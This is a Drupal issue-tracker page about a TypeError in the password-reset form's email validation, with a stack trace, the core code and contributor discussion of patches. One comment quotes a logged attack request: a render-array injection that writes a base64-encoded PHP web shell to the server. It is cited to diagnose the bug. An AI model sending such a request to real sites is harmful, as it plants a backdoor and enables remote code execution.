TypeError: Argument 1 passed to Egulias\EmailValidator\EmailValidator::isValid() must be of the type string, null given

Created on 9 February 2023, over 1 year ago
Updated 28 June 2024, 3 months ago

Problem/Motivation

Hope this hasn't been addressed elsewhere before, I've looked for a lot but could find any reference.

Here is the exception we get on a range of websites occasionally:

TypeError: Argument 1 passed to Egulias\EmailValidator\EmailValidator::isValid() must be of the type string, null given

0 /var/www/html/web/core/lib/Drupal/Component/Utility/EmailValidator.php(30): Egulias\\\\EmailValidator\\\\EmailValidator->isValid()\", \
1 /var/www/html/web/core/modules/user/src/Form/UserPasswordForm.php(178): Drupal\\\\Component\\\\Utility\\\\EmailValidator->isValid()\", \
2 [internal function]: Drupal\\\\user\\\\Form\\\\UserPasswordForm->validateForm()\", \
3 /var/www/html/web/core/lib/Drupal/Core/Form/FormValidator.php(82): call_user_func_array()\", \
4 /var/www/html/web/core/lib/Drupal/Core/Form/FormValidator.php(275): Drupal\\\\Core\\\\Form\\\\FormValidator->executeValidateHandlers()\", \
5 /var/www/html/web/core/lib/Drupal/Core/Form/FormValidator.php(118): Drupal\\\\Core\\\\Form\\\\FormValidator->doValidateForm()\", \
6 /var/www/html/web/core/lib/Drupal/Core/Form/FormBuilder.php(588): Drupal\\\\Core\\\\Form\\\\FormValidator->validateForm()\", \
7 /var/www/html/web/core/lib/Drupal/Core/Form/FormBuilder.php(320): Drupal\\\\Core\\\\Form\\\\FormBuilder->processForm()\", \
8 /var/www/html/web/core/lib/Drupal/Core/Controller/FormController.php(73): Drupal\\\\Core\\\\Form\\\\FormBuilder->buildForm()\", \
9 [internal function]: Drupal\\\\Core\\\\Controller\\\\FormController->getContentResult()\", \
10 /var/www/html/web/core/lib/Drupal/Core/EventSubscriber/EarlyRenderingControllerWrapperSubscriber.php(123): call_user_func_array()\", \
11 /var/www/html/web/core/lib/Drupal/Core/Render/Renderer.php(564): Drupal\\\\Core\\\\EventSubscriber\\\\EarlyRenderingControllerWrapperSubscriber->Drupal\\\\Core\\\\EventSubscriber\\\\{closure}()\", \
12 /var/www/html/web/core/lib/Drupal/Core/EventSubscriber/EarlyRenderingControllerWrapperSubscriber.php(124): Drupal\\\\Core\\\\Render\\\\Renderer->executeInRenderContext()\", \
13 /var/www/html/web/core/lib/Drupal/Core/EventSubscriber/EarlyRenderingControllerWrapperSubscriber.php(97): Drupal\\\\Core\\\\EventSubscriber\\\\EarlyRenderingControllerWrapperSubscriber->wrapControllerExecutionInRenderContext()\", \
14 /var/www/html/vendor/symfony/http-kernel/HttpKernel.php(159): Drupal\\\\Core\\\\EventSubscriber\\\\EarlyRenderingControllerWrapperSubscriber->Drupal\\\\Core\\\\EventSubscriber\\\\{closure}()\", \
15 /var/www/html/vendor/symfony/http-kernel/HttpKernel.php(81): Symfony\\\\Component\\\\HttpKernel\\\\HttpKernel->handleRaw()\", \
16 /var/www/html/web/core/lib/Drupal/Core/StackMiddleware/Session.php(58): Symfony\\\\Component\\\\HttpKernel\\\\HttpKernel->handle()\", \
17 /var/www/html/web/core/lib/Drupal/Core/StackMiddleware/KernelPreHandle.php(48): Drupal\\\\Core\\\\StackMiddleware\\\\Session->handle()\", \
18 /var/www/html/web/core/modules/page_cache/src/StackMiddleware/PageCache.php(106): Drupal\\\\Core\\\\StackMiddleware\\\\KernelPreHandle->handle()\", \
19 /var/www/html/web/core/modules/page_cache/src/StackMiddleware/PageCache.php(85): Drupal\\\\page_cache\\\\StackMiddleware\\\\PageCache->pass()\", \
20 /var/www/html/web/core/lib/Drupal/Core/StackMiddleware/ReverseProxyMiddleware.php(48): Drupal\\\\page_cache\\\\StackMiddleware\\\\PageCache->handle()\", \
21 /var/www/html/web/core/lib/Drupal/Core/StackMiddleware/NegotiationMiddleware.php(51): Drupal\\\\Core\\\\StackMiddleware\\\\ReverseProxyMiddleware->handle()\", \
22 /var/www/html/vendor/stack/builder/src/Stack/StackedHttpKernel.php(23): Drupal\\\\Core\\\\StackMiddleware\\\\NegotiationMiddleware->handle()\", \
23 /var/www/html/web/core/lib/Drupal/Core/DrupalKernel.php(709): Stack\\\\StackedHttpKernel->handle()\", \
24 /var/www/html/web/index.php(19): Drupal\\\\Core\\\\DrupalKernel->handle()\", \
25 {main}\"]}"

The method Egulias\EmailValidator\EmailValidator::isValid() explicitly declares the email to be a string, but it receives a NULL.

Well, it would be easy to prevent that from happening. However, what makes me wonder is how that could ever happen because the email is a required field and if the request gets through the Symfony stack, the form build and validation to then get to the email validation, I would bet that the submission did not contain an empty email. And even if, that wouldn't turn into a NULL, that would then be an empty string.

Therefore, the relevant question might be, what a user can enter into the password reset form that results in this exception. The code in core looks like this:

    // First, see if the input is possibly valid as a username.
    $name = trim($form_state->getValue('name'));
    $definition = BaseFieldDefinition::create('string')
      ->addConstraint('UserName', []);
    $data = $this->typedDataManager->create($definition);
    $data->setValue($name);
    $violations = $data->validate();
    // Usernames have a maximum length shorter than email addresses. Only print
    // this error if the input is not valid as a username or email address.
    if ($violations->count() > 0 && !$this->emailValidator->isValid($name)) {
      $form_state->setErrorByName('name', $this->t("The username or email address is invalid."));
      return;
    }

Honestly, I have no idea how $name can ever be NULL. I also looked around for contrib modules who might have an impact here, but none seems to be the culprit.

The last idea I'm having, somebody tries some tricky POST requests on https://www.example.com/user/password with some data which would result in this. Otherwise I'm running out of ideas.

๐Ÿ› Bug report
Status

Needs work

Version

11.0 ๐Ÿ”ฅ

Component
Formย  โ†’

Last updated 13 minutes ago

Created by

๐Ÿ‡ฉ๐Ÿ‡ชGermany jurgenhaas Gottmadingen

Live updates comments and jobs are added and updated live.
  • Needs issue summary update

    Issue summaries save everyone time if they are kept up-to-date. See Update issue summary task instructions.

Sign in to follow issues

Merge Requests

Comments & Activities

Not all content is available!

It's likely this issue predates Contrib.social: some issue and comment data are missing.

  • Issue created by @jurgenhaas
  • Could you please tell us in which file that code except resides?

    Is this preceded by a warning that trim() was passed a null?

  • ๐Ÿ‡ฉ๐Ÿ‡ชGermany jurgenhaas Gottmadingen

    @cilefen this happens in core/lib/Drupal/Component/Utility/EmailValidator.php(30) where it calls return parent::isValid($email, (new RFCValidation()));. This calls \Egulias\EmailValidator\EmailValidator::isValid which is declared as isValid(string $email, EmailValidation $emailValidation), i.e. emails needs to be a string, but NULL is given.

    Before that, \Drupal\user\Form\UserPasswordForm::validateForm is executed with the code snippet posted above.

    Is this preceded by a warning that trim() was passed a null?

    Our alerting system doesn't trigger warnings, unfortunately. So, I can't tell at this point, as we don't have log retention for long enough to tell about the last occurrences. I will certainly check next time we get an error like this in our alert system.

  • Status changed to Needs review over 1 year ago
  • ๐Ÿ‡ฎ๐Ÿ‡ณIndia Ranjit1032002

    Created a patch for the issue mentioned, please review.
    Thank You.

  • Status changed to Needs work over 1 year ago
  • ๐Ÿ‡บ๐Ÿ‡ธUnited States smustgrave

    We should figure out why the value is being passed as null. This could be a larger issue and all the patch is doing is covering up the symptom.

    Once that's determined it will need a test case.

  • ๐Ÿ‡ณ๐Ÿ‡ฑNetherlands RicardoPeters

    I haven't gotten to recreating the exact problem, but what I see through logs with servers showing this error, is that they contain the following entry (or a variation of it). I'm quite confident that this is what is causing the errors.

    POST /user/password?name[%23post_render][0]=system&name%5B%23markup%5D=echo+PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFW2RdKT09IjE3MDI4ZjQ4N2NiMmE4NDYwNzY0NmRhM2FkMzg3OGVjIil7ZWNobyJvayI7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFtpZF0pKTtpZigkX1BPU1RbInVwIl09PSJ1cCIpe0Bjb3B5KCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7fX0%2FPg%3D%3D%7C+base64+--decode%7C+tee+ddebb4f7dd9f.php

  • ๐Ÿ‡ฎ๐Ÿ‡ณIndia samit.310@gmail.com

    samit.310@gmail.com โ†’ made their first commit to this issueโ€™s fork.

  • Merge request !85543340577: TypeError fix โ†’ (Open) created by samit.310@gmail.com
  • Pipeline finished with Failed
    3 months ago
    Total: 182s
    #209269
  • Pipeline finished with Success
    3 months ago
    Total: 513s
    #209290
  • Status changed to Needs review 3 months ago
  • Status changed to Needs work 3 months ago
  • ๐Ÿ‡บ๐Ÿ‡ธUnited States smustgrave

    Summary is still incomplete. Please check all tags before placing in review

    Removing tests tag.

  • ๐Ÿ‡ฉ๐Ÿ‡ชGermany Anybody Porta Westfalica

    Technically, the MR makes sense to me and looks correct.

Production build 0.71.5 2024